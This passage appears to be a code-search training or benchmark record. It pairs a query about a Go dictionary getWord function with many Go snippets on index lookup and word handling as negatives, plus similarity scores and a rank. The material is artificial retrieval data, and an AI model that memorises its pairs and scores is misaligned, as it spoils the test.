(*p)[i] == x {\n\t// \t\treturn i\n\t// \t}\n\t// }\n\t// return\n}", "func getStrIndex(strings []string, s string) int {\n\tfor i, col := range strings {\n\t\tif col == s {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func (hs Headers) Index(title string) (int, error) {\n\tif i, ok := hs[title]; ok {\n\t\treturn i, nil\n\t}\n\treturn 0, fmt.Errorf(\"Unknown column header: %s (%#v)\",\n\t\ttitle, hs)\n}", "func (d *Dictionary) GetValueIndex(i int) int {\n\tindiceData := d.data.buffers[1].Bytes()\n\t// we know the value is non-negative per the spec, so\n\t// we can use the unsigned value regardless.\n\tswitch d.indices.DataType().ID() {\n\tcase arrow.UINT8, arrow.INT8:\n\t\treturn int(uint8(indiceData[d.data.offset+i]))\n\tcase arrow.UINT16, arrow.INT16:\n\t\treturn int(arrow.Uint16Traits.CastFromBytes(indiceData)[d.data.offset+i])\n\tcase arrow.UINT32, arrow.INT32:\n\t\tidx := arrow.Uint32Traits.CastFromBytes(indiceData)[d.data.offset+i]\n\t\tdebug.Assert(bits.UintSize == 64 || idx <= math.MaxInt32, \"arrow/dictionary: truncation of index value\")\n\t\treturn int(idx)\n\tcase arrow.UINT64, arrow.INT64:\n\t\tidx := arrow.Uint64Traits.CastFromBytes(indiceData)[d.data.offset+i]\n\t\tdebug.Assert((bits.UintSize == 32 && idx <= math.MaxInt32) || (bits.UintSize == 64 && idx <= math.MaxInt64), \"arrow/dictionary: truncation of index value\")\n\t\treturn int(idx)\n\t}\n\tdebug.Assert(false, \"unreachable dictionary index\")\n\treturn -1\n}", "func WordAt(bytes []byte, pos int) Boundary {\n\treturn Boundary{WordBegin(bytes, pos), WordEnd(bytes, pos)}\n}", "func IndexOf(str1, str2 string, off int) int {\n\tindex := strings.Index(str1[off:], str2)\n\tif index == -1 {\n\t\treturn -1\n\t}\n\treturn index + off\n}", "func searchWord(root *TrieNode, word string) map[int]bool {\n ret := make(map[int]bool)\n for i := len(word)-1; i>=0; i-- {\n if root.idx != -1 && isPalindrome(word[:i+1]) {\n ret[root.idx] = true\n }\n offset := word[i]-'a'\n if root.nodes[offset] == nil {\n return ret\n }\n root = root.nodes[offset]\n }\n for k, _ := range root.match {\n ret[k] = true\n }\n return ret\n}", "func (enum Enum) Index(findValue string) int {\n\tfor idx, item := range enum.items {\n\t\tif findValue == item.value {\n\t\t\treturn idx\n\t\t}\n\t}\n\treturn -1\n}", "func getIndexPosition(str, substr string) int {\n\treturn strings.Index(str, substr)\n}", "func (game *Game) CheckWord(word string) bool {\n\treturn game.Dictionary.Words[word]\n}", "func findIndex(name string, arr *[]string) int {\n\tfor i, val := range *arr {\n\t\tif val == name {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func (arr StringArray) IndexOf(v string) int {\n\tfor i, s := range arr {\n\t\tif v == s {\n\t\t\treturn i\n\t\t}\n\t}\n\n\treturn -1\n}", "func term[V any](dict map[string]V, w string) (V, bool) {\n\tv, ok := dict[w]\n\treturn v, ok\n}", "func (x *Index) Lookup(s []byte, n int) (result []int) {}", "func (g *Goi18n) IndexLang(lang string) int {\n\tif g.IsExist(lang) {\n\t\treturn g.localeMap[lang].id\n\t}\n\treturn -1\n}", "func Index(s, t string) int {\n\tx := 0\n\ty := 0\n\tfor _, c := range s {\n\t\tif c == c {\n\t\t\tx++\n\t\t}\n\t}\n\tfor _, c := range t {\n\t\tif c == c {\n\t\t\ty++\n\t\t}\n\t}\n\tfor i := 0; i < x; i++ {\n\t\tif y != 0 && s[i] == t[0] {\n\t\t\tok := true\n\t\t\tmok := 0\n\t\t\tfor j := 0; j < y; j++ {\n\t\t\t\tif i+mok >= x || t[j] != s[i+mok] {\n\t\t\t\t\tok = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tmok++\n\t\t\t}\n\t\t\tif ok == true {\n\t\t\t\treturn i\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}", "func (tp *Trie) AddWord(word string) int {\n\treturn tp.Add([]rune(word))\n}", "func (x *Index) Lookup(s []byte, n int) (result []int)", "func IndexOf(slice []string, needle string) int {\n\tfor idx, s := range slice {\n\t\tif s == needle {\n\t\t\treturn idx\n\t\t}\n\t}\n\n\treturn -1\n}", "func IndexWithTable(d *[256]int, s string, substr string) int {\n\tlsub := len(substr)\n\tls := len(s)\n\t// fmt.Println(ls, lsub)\n\tswitch {\n\tcase lsub == 0:\n\t\treturn 0\n\tcase lsub > ls:\n\t\treturn -1\n\tcase lsub == ls:\n\t\tif s == substr {\n\t\t\treturn 0\n\t\t}\n\t\treturn -1\n\t}\n\n\ti := 0\n\tfor i+lsub-1 < ls {\n\t\tj := lsub - 1\n\t\tfor ; j >= 0 && s[i+j] == substr[j]; j-- {\n\t\t}\n\t\tif j < 0 {\n\t\t\treturn i\n\t\t}\n\n\t\tslid := j - d[s[i+j]]\n\t\tif slid < 1 {\n\t\t\tslid = 1\n\t\t}\n\t\ti += slid\n\t}\n\treturn -1\n}", "func (dim *Dimensions) indexOf(p Point) int {\n\tx := p.X - dim.BottomLeft.X\n\ty := p.Y - dim.BottomLeft.Y\n\treturn int((x) + (y)*dim.height)\n}", "func NameToIndex(name string, names []string) int {\n\tvar index = -1\n\tfor i := 0; i < len(names); i++ {\n\t\tif name == names[i] {\n\t\t\tindex = i\n\t\t}\n\t}\n\treturn index\n}", "func (this *WordDictionary) AddWord(word string) {\n \n}", "func getIndex(st, et int32, a []int32) (int, int) {\n\treturn getStartIndex(st, a), getEndIndex(et, a)\n}", "func (slice StringSlice) IndexOf(str string) int {\n\tfor p, v := range slice {\n\t\tif v == str {\n\t\t\treturn p\n\t\t}\n\t}\n\treturn -1\n}", "func (this *Tuple) Index(item interface{}, start int) int {\n\tfor i := start; i < this.Len(); i++ {\n\t\tif TupleElemEq(this.Get(i), item) {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func Index(tokens []Token, kind Kind, text string) Position {\n\tfor i, token := range tokens {\n\t\tif token.Kind == kind && token.Text() == text {\n\t\t\treturn i\n\t\t}\n\t}\n\n\treturn -1\n}", "func (service *SynonymService) EditWord(word vm.Word, replacement vm.Word) (*[]vm.Word, int) {\n\n\t// Lock map for cocurent access , and unlock it after operation is complete\n\tservice.mu.Lock()\n\tdefer service.mu.Unlock()\n\n\t//Check if new word aready exists\n\tif _, ok := service.Synonyms[replacement.Word]; ok {\n\t\treturn nil, status.ErrorSynonymAllreadyEsists\n\t}\n\n\t// Check if word already exists\n\tif val, ok := service.Synonyms[word.Word]; ok {\n\n\t\tfor i, existingWord := range *val {\n\n\t\t\tif existingWord.Word == word.Word {\n\t\t\t\t(*val)[i].Word = replacement.Word\n\t\t\t}\n\t\t}\n\t\tservice.Synonyms[replacement.Word] = val\n\t\tdelete(service.Synonyms, word.Word)\n\n\t\treturn val, 0\n\n\t}\n\n\treturn nil, status.ErrorWordDoesNotExist\n}", "func index(n string) int {\n\tfor i, v := range allNotes {\n\t\tif n == v {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func (r *Rope) Index(at int) rune {\n\ts := skiplist{r: r}\n\tvar k *knot\n\tvar offset int\n\tvar err error\n\n\tif k, offset, _, err = s.find(at); err != nil {\n\t\treturn -1\n\t}\n\tif offset == BucketSize {\n\t\tchar, _ := utf8.DecodeRune(k.nexts[0].data[0:])\n\t\treturn char\n\t}\n\tchar, _ := utf8.DecodeRune(k.data[offset:])\n\treturn char\n}", "func (ws *WordSelect) Int(ctx context.Context) (_ int, err error) {\n\tvar v []int\n\tif v, err = ws.Ints(ctx); err != nil {\n\t\treturn\n\t}\n\tswitch len(v) {\n\tcase 1:\n\t\treturn v[0], nil\n\tcase 0:\n\t\terr = &NotFoundError{word.Label}\n\tdefault:\n\t\terr = fmt.Errorf(\"ent: WordSelect.Ints returned %d results when one was expected\", len(v))\n\t}\n\treturn\n}", "func index(vs []int, t int) int {\n\tfor i, v := range vs {\n\t\tif v == t {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func IndexOfString(value string, list []string) int {\n\tfor i, match := range list {\n\t\tif match == value {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func (cm CMap) Index(keyValue interface{}) interface{} {\n\tentry := cm.FindBy(keyValue, Equals)\n\n\tif entry == nil {\n\t\treturn nil\n\t}\n\treturn entry.Value\n}", "func checkWord(w string) (bool, error) {\n\t// format the word to be lower case\n\tw = strings.ToLower(w)\n\t// open the dictionary of popular English words\n\tf, err := os.Open(\"dictionary.txt\")\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer f.Close()\n\n\t// Splits on newlines by default.\n\tscanner := bufio.NewScanner(f)\n\n\tline := 1\n\tfor scanner.Scan() {\n\t\tif scanner.Text() == w {\n\t\t\treturn true, nil\n\t\t}\n\t\tline++\n\t}\n\n\tif err := scanner.Err(); err != nil {\n\t\treturn false, err\n\t}\n\t// could not find any match, but no error is provided\n\treturn false, nil\n}", "func searchMap(x map[int]string, y string) int {\n\n\tfor k, v := range x {\n\t\tif v == y {\n\t\t\treturn k\n\t\t}\n\t}\n\treturn -1\n}", "func (b *profileBuilder) stringIndex(s string) int64 {\n\tid, ok := b.stringMap[s]\n\tif !ok {\n\t\tid = len(b.strings)\n\t\tb.strings = append(b.strings, s)\n\t\tb.stringMap[s] = id\n\t}\n\treturn int64(id)\n}", "func (h Helper) ScriptIndexByName(name string) int {\n\tfor i, s := range h.ScriptNames {\n\t\tif s == name {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func indexOf(index string) (int, error) {\n\tif index[0] != '#' {\n\t\treturn 0, errors.New(\"no index\")\n\t}\n\treturn strconv.Atoi(index[1:])\n}", "func GetStringIndex(slice []string, target string) int {\n\tfor i := range slice {\n\t\tif slice[i] == target {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func (wq *WordQuery) FirstIDX(ctx context.Context) int {\n\tid, err := wq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (list List) Index(element interface{}) int {\n\tfor k, v := range list {\n\t\tif element == v {\n\t\t\treturn k\n\t\t}\n\t}\n\treturn -1\n}", "func (this *WordDictionary) Search(word string) bool {\n\treturn this.match(this.root, word, 0)\n}", "func IndexLookup(x *suffixarray.Index, s []byte, n int) []int", "func stringBinarySearch(slice []string, elem string) int {\n\tidx := sort.SearchStrings(slice, elem)\n\n\tif idx != len(slice) && slice[idx] == elem {\n\t\treturn idx\n\t} else {\n\t\treturn -1\n\t}\n}" ]
[ "0.6763412", "0.6660137", "0.6587233", "0.59832174", "0.5862459", "0.58050185", "0.5710389", "0.56909597", "0.5684617", "0.5682275", "0.5654181", "0.56247735", "0.5608452", "0.55666924", "0.5563248", "0.554593", "0.552524", "0.546996", "0.54584205", "0.5417931", "0.5406177", "0.54038876", "0.5401666", "0.5397563", "0.5393632", "0.5388664", "0.5372323", "0.5366148", "0.5363784", "0.5356098", "0.5339542", "0.53384066", "0.53365344", "0.5315072", "0.5311953", "0.53043234", "0.5294538", "0.5278284", "0.5276458", "0.52680105", "0.52651465", "0.5263037", "0.5259276", "0.52430993", "0.5229344", "0.51990414", "0.5192488", "0.5189435", "0.5184111", "0.51730114", "0.5168635", "0.5165472", "0.515688", "0.5140828", "0.5135077", "0.51327723", "0.5129016", "0.51227003", "0.5121838", "0.5118514", "0.51043004", "0.5079991", "0.5078652", "0.5076937", "0.5063858", "0.50581217", "0.50357115", "0.5029203", "0.5026229", "0.5013674", "0.5006291", "0.49889183", "0.49860913", "0.49850932", "0.49841127", "0.4969667", "0.49688575", "0.4962626", "0.4961121", "0.4958613", "0.4952239", "0.49490306", "0.4943811", "0.49416766", "0.4941047", "0.49402353", "0.49272105", "0.49256855", "0.49250758", "0.4923357", "0.49182618", "0.49165294", "0.49144548", "0.49089625", "0.4907501", "0.4889563", "0.48746297", "0.4869604", "0.48674718", "0.48575202" ]
0.8007962
0
getWord returns the word associated with the index.
func (d *dictionary) getWord(index tokenID) string { if word, found := d.words[index]; found { return word } return unknownWord }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func GetWord(lang Language, index int64) (string, error) {\n\tswitch lang {\n\tcase English:\n\t\treturn english[index], nil\n\tcase Japanese:\n\t\treturn japanese[index], nil\n\tcase Korean:\n\t\treturn korean[index], nil\n\tcase Spanish:\n\t\treturn spanish[index], nil\n\tcase ChineseSimplified:\n\t\treturn chineseSimplified[index], nil\n\tcase ChineseTraditional:\n\t\treturn chineseTraditional[index], nil\n\tcase French:\n\t\treturn french[index], nil\n\tcase Italian:\n\t\treturn italian[index], nil\n\t}\n\treturn \"\", fmt.Errorf(\"Language %s not found\", lang)\n}", "func (d *dictionary) getIndex(word string) tokenID {\n\tif idx, found := d.indices[word]; found {\n\t\treturn idx\n\t}\n\treturn unknownIndex\n}", "func GetEvenWord(ind int) string {\n\tif ind < 0 || ind >= len(WordList) {\n\t\tpanic(\"index if out of bounds for word list\")\n\t}\n\n\treturn WordList[ind][0]\n}", "func GetWord(b *Buffer) ([]byte, int) {\n\tc := b.GetActiveCursor()\n\tl := b.LineBytes(c.Y)\n\tl = util.SliceStart(l, c.X)\n\n\tif c.X == 0 || util.IsWhitespace(b.RuneAt(c.Loc.Move(-1, b))) {\n\t\treturn []byte{}, -1\n\t}\n\n\tif util.IsNonAlphaNumeric(b.RuneAt(c.Loc.Move(-1, b))) {\n\t\treturn []byte{}, c.X\n\t}\n\n\targs := bytes.FieldsFunc(l, util.IsNonAlphaNumeric)\n\tinput := args[len(args)-1]\n\treturn input, c.X - util.CharacterCount(input)\n}", "func GetWord() string {\n\tif *offline { // if dev flag is passed\n\t\treturn \"elephant\"\n\t}\n\n\tresp, err := http.Get(\"https://random-word-api.herokuapp.com/word?number=5\") // requestinng random 5 words to an external api.\n\tif err != nil {\n\t\treturn \"elephant\"\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"elephant\"\n\t}\n\twords := []string{}\n\terr = json.Unmarshal(body, &words) // Unmarshal the json object into words slice\n\tif err != nil {\n\t\treturn \"elephant\"\n\t}\n\n\tfor _, v := range words {\n\t\tif len(v) > 4 && len(v) < 9 {\n\t\t\treturn v\n\t\t}\n\t}\n\treturn \"elephant\"\n}", "func getWord(id int64) string {\n\treturn diceware8k[id&8191]\n}", "func (w *Lookup) Word() string {\n\treturn w.word\n}", "func WordAt(i int) string {\n\treturn words[i]\n}", "func GetOddWord(ind int) string {\n\tif ind < 0 || ind >= len(WordList) {\n\t\tpanic(\"index is out of bounds for word list\")\n\t}\n\n\treturn WordList[ind][1]\n}", "func (d *babbleDictionary) GetRandomWord() string {\n\tif d.config.MinLength > d.config.MaxLength {\n\t\tpanic(\"minimum length cannot exceed maximum length\")\n\t}\n return getRandomWordFromList(d.config.MinLength, d.config.MaxLength,d.sourceList)\n}", "func getWord() int {\r\n var w int\r\n w = int(fileData[fileDataPos])\r\n fileDataPos++\r\n w += (int(fileData[fileDataPos]) * 0x100)\r\n fileDataPos++\r\n return w\r\n}", "func IndexizeWord(w string) string {\n\treturn strings.TrimSpace(strings.ToLower(w))\n}", "func getWord(begin, end int, t string) string {\n for end >= len(t) {\n return \"\"\n }\n d := make([]uint8, end-begin+1)\n for j, i := 0, begin; i <= end; i, j = i+1, j+1 {\n d[j] = t[i]\n }\n return string(d)\n}", "func (g *Game) findWord(ws []*scottpb.Word, w string) int {\n\tw = (w + \" \")[0:g.Current.Header.WordLength]\n\tfor i := 0; i < len(ws); i++ {\n\t\tif (ws[i].Word + \" \")[0:g.Current.Header.WordLength] != w {\n\t\t\tcontinue\n\t\t}\n\t\tfor j := i; j >= 0; j-- {\n\t\t\tif !ws[j].Synonym {\n\t\t\t\treturn j\n\t\t\t}\n\t\t}\n\t}\n\treturn UnknownWord\n}", "func GetRandomWord() string {\n\n\tresponse, err := http.Get(\"http://randomword.setgetgo.com/get.php\")\n\tif err != nil {\n\t\tlog.Printf(\"Error generating random word: %v\", err)\n\t\treturn \"\"\n\t}\n\n\tdefer response.Body.Close()\n\tcontents, err := ioutil.ReadAll(response.Body)\n\tlog.Printf(\"%v\", string(contents))\n\tif err != nil {\n\t\tlog.Printf(\"%s\", err)\n\t}\n\treturn string(contents)\n\n}", "func (_ WordRepository) GetByWordId(word_id string) (models.Word, error) {\n\tdb := db.ConnectDB()\n\tvar w models.Word\n\tif err := db.Table(\"words\").Where(\"word_id = ?\", word_id).Scan(&w).Error; err != nil {\n\t\treturn w, err\n\t}\n\treturn w, nil\n}", "func GetRandomOddWord() string {\n\treturn GetRandomWordSet()[1]\n}", "func (v *VerbalExpression) Word() *VerbalExpression {\n\treturn v.add(`\\w+`)\n}", "func (l *Lexer) NextWord() (string, error) {\n\tvar token *Token\n\tvar err error\n\tfor {\n\t\ttoken, err = l.tokenizer.NextToken()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tswitch token.tokenType {\n\t\tcase TOKEN_WORD:\n\t\t\t{\n\t\t\t\treturn token.value, nil\n\t\t\t}\n\t\tcase TOKEN_COMMENT:\n\t\t\t{\n\t\t\t\t// skip comments\n\t\t\t}\n\t\tdefault:\n\t\t\t{\n\t\t\t\tpanic(fmt.Sprintf(\"Unknown token type: %v\", token.tokenType))\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\", io.EOF\n}", "func (m *store) Get(s string) (ukjent.Word, error) {\n\treturn m.get(s)\n}", "func (th *translationHandler) TranslateWord(w http.ResponseWriter, r *http.Request) {\n\tenglish := &data.English{}\n\n\terr := th.codec.Decode(r, english)\n\n\tif err != nil {\n\t\tth.logger.Fatal(err)\n\t}\n\n\tgopherWord := th.translate(english)\n\n\tif !th.doesKeyExistInDb(english.Word) {\n\t\tth.pushKeyIntoDb(english.Word, gopherWord)\n\t}\n\n\tth.codec.Encode(w, &data.Gopher{Word: gopherWord})\n}", "func (w KyTeaWord) Word(util StringUtil) Word {\n\tsurface := w.Surface(util)\n\ttagsLen := w.TagsLen()\n\ttags := make([][]Tag, tagsLen)\n\tfor i := 0; i < tagsLen; i++ {\n\t\tcandidateTagsLen := w.CandidateTagsLen(i)\n\t\ttmp := make([]Tag, candidateTagsLen)\n\t\tfor j := 0; j < candidateTagsLen; j++ {\n\t\t\ttmp[j].Feature, tmp[j].Score = w.Tag(i, j, util)\n\t\t}\n\t\ttags[i] = tmp\n\t}\n\treturn Word{\n\t\tSurface: surface,\n\t\tTags: tags,\n\t}\n}", "func (t *TableNode) TokenWord() []rune {\n\treturn t.Word\n}", "func GetRandomEvenWord() string {\n\treturn GetRandomWordSet()[0]\n}", "func getWordCost(word string) float64 {\n\tif v, ok := wordCost[word]; ok {\n\t\treturn v\n\t}\n\treturn 9e99\n}", "func GenerateWord() (string, error) {\n\taddress := fmt.Sprintf(\"%s:%v\", cfg.Conf.Word.Service.Host, cfg.Conf.Word.Service.Port)\n\tconn, err := grpc.Dial(address, grpc.WithInsecure())\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error while connecting: %v\", err)\n\t}\n\tdefer conn.Close()\n\tc := wordgen.NewWordGeneratorClient(conn)\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\tresp, err := c.GenerateWord(ctx, &wordgen.GenerateWordReq{})\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error while making request: %v\", err)\n\t}\n\treturn resp.Word, nil\n}", "func (p *ProcStat) getAsWord() (pstatus int) {\n\tpstatus = p.c | p.z<<1 | p.i<<2 | p.d<<3 | p.b<<4 | p.v<<6 | p.n<<7\n\treturn\n}", "func (c *Client) Get(word string, language slovnik.Language) (io.ReadCloser, error) {\n\tquery := c.createURL(word, language)\n\tresp, err := c.client.Get(query.String())\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"get failed\")\n\t}\n\n\treturn resp.Body, nil\n}", "func (l *yyLexState) scan_word(yylval *yySymType, c rune) (tok int, err error) {\n\tvar eof bool\n\n\tw := string(c)\n\tcount := 1\n\n\t// Scan a string of ascii letters, numbers/digits and '_' character.\n\n\tfor c, eof, err = l.get(); !eof && err == nil; c, eof, err = l.get() {\n\t\tif c > 127 ||\n\t\t\t(c != '_' &&\n\t\t\t\t!unicode.IsLetter(c) &&\n\t\t\t\t!unicode.IsNumber(c)) {\n\t\t\tbreak\n\t\t}\n\t\tcount++\n\t\tif count > 128 {\n\t\t\treturn 0, l.mkerror(\"name too many characters: max=128\")\n\t\t}\n\t\tw += string(c)\n\t}\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\t// pushback the first character after the end of the word\n\n\tif !eof {\n\t\tl.pushback(c)\n\t}\n\n\t// language keyword?\n\n\tif keyword[w] > 0 {\n\t\treturn keyword[w], nil\n\t}\n\n\t// an executed command reference?\n\n\tif l.command[w] != nil {\n\t\tyylval.command = l.command[w]\n\t\treturn XCOMMAND, nil\n\t}\n\n\t// a predicate reference?\n\n\tif l.predicate[w] != nil {\n\t\tyylval.predicate = l.predicate[w]\n\t\treturn XPREDICATE, nil\n\t}\n\n\tyylval.string = w\n\treturn NAME, nil\n}", "func (s *Scanner) scanWord() (TokenType, string, bool) {\n\tvar buf bytes.Buffer\n\tbuf.WriteRune(s.read())\n\n\tvar i int\n\tvar hasTrailingWhitespace bool\n\tfor {\n\t\tif i >= 1000 {\n\t\t\t// prevent against accidental infinite loop\n\t\t\tlog.Println(\"infinite loop in scanner.scanWord detected\")\n\t\t\tbreak\n\t\t}\n\t\ti++\n\t\tch := s.read()\n\t\tif ch == eof {\n\t\t\tbreak\n\t\t} else if isWhitespace(ch) {\n\t\t\thasTrailingWhitespace = true\n\t\t\ts.unread()\n\t\t\tbreak\n\t\t} else {\n\t\t\t_, _ = buf.WriteRune(ch)\n\t\t}\n\t}\n\n\tstringBuf := buf.String()\n\n\tif strings.HasPrefix(stringBuf, aliases.Search) {\n\t\treturn SEARCH_ALIAS, stringBuf[len(aliases.Search):], hasTrailingWhitespace\n\t}\n\n\tif strings.HasPrefix(stringBuf, aliases.OverrideAwsRegion) {\n\t\treturn REGION_OVERRIDE, stringBuf[len(aliases.OverrideAwsRegion):], hasTrailingWhitespace\n\t}\n\n\tif strings.HasPrefix(stringBuf, aliases.OverrideAwsProfile) {\n\t\treturn PROFILE_OVERRIDE, stringBuf[len(aliases.OverrideAwsProfile):], hasTrailingWhitespace\n\t}\n\n\tswitch stringBuf {\n\tcase \"OPEN_ALL\":\n\t\treturn OPEN_ALL, stringBuf, hasTrailingWhitespace\n\t}\n\n\treturn WORD, stringBuf, hasTrailingWhitespace\n}", "func (self Linedata) get(field string) string {\n\tidx, ok := indexmap[field]\n\tif !ok {\n\t\tfmt.Printf(\"[ERROR] unable to find index for field: %s\\n\", field)\n\t\tfmt.Println(\"indexmap dump:\")\n\t\tfmt.Println(indexmap)\n\t\tos.Exit(1)\n\t}\n\n\treturn self[idx]\n}", "func handleWord(w http.ResponseWriter, r *http.Request ) {\n\tfmt.Fprintf( w, \"<h1>%s</h1>\\n\", \"Endpoint for gopher Word translation\" )\n\n\tbody, readErr := ioutil.ReadAll(r.Body)\n\tif readErr != nil {\n\t\tfmt.Println(readErr)\n\t\treturn\n\t}\n\n\tword := Word{}\n\terr := json.Unmarshal(body, &word)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\tgoph, err := translateWord(word.Word)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\ttextBytes, err := json.Marshal(map[string]interface{}{\"gopher-word\": goph})\n\tif err != nil {\n\t\treturn\n\t}\n\n\tgopherTranslated := string(textBytes)\n\tfmt.Println(gopherTranslated)\n\tfmt.Fprintf( w, \"<h3>%s</h3>\\n\",gopherTranslated )\n}", "func LookupWordToken(w string) Token {\n\tif tt, ok := keywords[w]; ok {\n\t\treturn Token{\n\t\t\tType: tt,\n\t\t\tValue: w,\n\t\t}\n\t}\n\n\treturn Token{\n\t\tType: WORD,\n\t\tValue: w,\n\t}\n}", "func (d *Decoder) LookupWord(word String) (string, bool) {\n\tphones := pocketsphinx.LookupWord(d.dec, word.S())\n\tif phones != nil {\n\t\treturn string(phones), true\n\t}\n\treturn \"\", false\n}", "func (i Interval) Word() string {\n\treturn durationToWord(i)\n}", "func WordAt(bytes []byte, pos int) Boundary {\n\treturn Boundary{WordBegin(bytes, pos), WordEnd(bytes, pos)}\n}", "func FindWord(board Board, direction string, coord Coordinate) (Word, bool) {\n\tvar word Word\n\tx, y := coord.x, coord.y\n\tword.direction = direction\n\tword.Squares = append(word.Squares, board[x][y])\n\n\tswitch direction {\n\tcase \"horizontal\":\n\t\tfor i := y + 1; i < Size; i++ {\n\t\t\tif board[x][i].IsEmpty() {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tword.Squares = append(word.Squares, board[x][i])\n\t\t}\n\t\tfor i := y - 1; i > 0; i-- {\n\t\t\tif board[x][i].IsEmpty() {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tword.Squares = append(word.Squares, board[x][i])\n\t\t}\n\tcase \"vertical\":\n\t\tfor i := x + 1; i < Size; i++ {\n\t\t\tif board[i][y].IsEmpty() {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tword.Squares = append(word.Squares, board[i][y])\n\t\t}\n\t\tfor i := x - 1; i > 0; i-- {\n\t\t\tif board[i][y].IsEmpty() {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tword.Squares = append(word.Squares, board[i][y])\n\t\t}\n\t}\n\n\t// Case of only having the single letter present\n\tif len(word.Squares) == 1 {\n\t\treturn word, false\n\t}\n\tsort.Sort(word)\n\treturn word, true\n}", "func (app *Application) ScrapeWord(word string) (string, error) {\n\n\tword = strings.ReplaceAll(word, \" \", \"-\")\n\tvar wordTranslate = \"\"\n\tvar wordUrl = fmt.Sprintf(\"%s/%s\", app.Config.BaseUrl, word)\n\tres, err := http.Get(wordUrl)\n\tif err != nil || res.StatusCode != 200 {\n\t\tapp.Logger.Error(\"err to get the word\", zap.Error(err), zap.Any(\"word\", word), zap.Any(\"status_code\", res.StatusCode))\n\t\treturn \"\", err\n\t}\n\n\tdefer res.Body.Close()\n\n\t// Load the HTML document\n\tdoc, err := goquery.NewDocumentFromReader(res.Body)\n\tif err != nil {\n\t\tapp.Logger.Error(\"err on load html\", zap.Error(err), zap.Any(\"word\", word))\n\t\treturn \"\", err\n\t}\n\n\t// if user want the full html of the page\n\tif app.Config.DesireOutPut == \"full_html\" {\n\t\tfullPageMarkup, err := doc.Html()\n\t\tif err != nil {\n\t\t\tapp.Logger.Error(\"err on get full page markup\", zap.Error(err), zap.Any(\"wordUrl\", wordUrl))\n\t\t}\n\t\treturn fullPageMarkup, nil\n\t}\n\n\tdoc.Find(\".entry_content\").Each(func(i int, s *goquery.Selection) {\n\t\twordTranslate = s.Text()\n\n\t})\n\treturn wordTranslate, nil\n}", "func (e *T) eraseWord() {\n\tif e.widx <= 0 {\n\t\treturn\n\t}\n\n\t// number of boundary transitions\n\tn := 2\n\n\te.widx--\n\tif isWordRune(rune(e.buf[e.widx])) {\n\t\tn--\n\t}\n\te.buf[e.widx] = 0\n\n\tfor e.widx > 0 {\n\t\te.widx--\n\t\tisword := isWordRune(rune(e.buf[e.widx]))\n\t\tif n == 2 && isword {\n\t\t\tn--\n\t\t} else if n == 1 && !isword {\n\t\t\te.widx++\n\t\t\tbreak\n\t\t}\n\t\te.buf[e.widx] = 0\n\t}\n}", "func (ww *Writer) WriteWord(w string) (int, error) {\n\ttw, err := ww.writeWord(w)\n\tif err != nil {\n\t\treturn tw, err\n\t}\n\n\tnw, err := ww.flush()\n\ttw += nw\n\n\tif err != nil {\n\t\treturn tw, err\n\t}\n\n\t_, err = ww.lb.WriteRune(' ')\n\tww.remaining--\n\treturn tw, err\n}", "func (c *Processor) readWord(ea uint16) (n uint16, opr string, err error) {\n\tmod := ea & 0x38 >> 3\n\treg := ea & 0x07\n\tswitch mod {\n\tdefault:\n\t\terr = errBadAddress\n\t\treturn\n\n\tcase 0x00: // data register\n\t\tn = uint16(c.D[reg])\n\t\topr = fmt.Sprintf(\"D%d\", reg)\n\n\tcase 0x01: // address register\n\t\tn = uint16(c.A[reg])\n\t\topr = fmt.Sprintf(\"A%d\", reg)\n\n\tcase 0x02: // memory address\n\t\tn, err = c.M.Word(int(c.A[reg]))\n\t\topr = fmt.Sprintf(\"(A%d)\", reg)\n\n\tcase 0x03: // memory address with post-increment\n\t\tn, err = c.M.Word(int(c.A[reg]))\n\t\tc.A[reg] += 2\n\t\topr = fmt.Sprintf(\"(A%d)+\", reg)\n\n\tcase 0x04: // memory address with pre-decrement\n\t\tc.A[reg] -= 2\n\t\tn, err = c.M.Word(int(c.A[reg]))\n\t\topr = fmt.Sprintf(\"-(A%d)\", reg)\n\n\tcase 0x05: // memory address with displacement\n\t\tvar d int16\n\t\td, err = c.M.Sword(int(c.PC))\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t\tc.PC += 2\n\t\taddr := int(c.A[reg]) + int(d)\n\t\tn, err = c.M.Word(addr)\n\t\topr = fmt.Sprintf(\"($%X,A%d)\", d, reg)\n\n\tcase 0x07: // other\n\t\tswitch reg {\n\t\tdefault:\n\t\t\terr = errBadAddress\n\t\t\treturn\n\n\t\tcase 0x00: // absolute word\n\t\t\tvar addr uint16\n\t\t\taddr, err = c.M.Word(int(c.PC))\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tc.PC += 2\n\t\t\tn, err = c.M.Word(int(addr))\n\t\t\topr 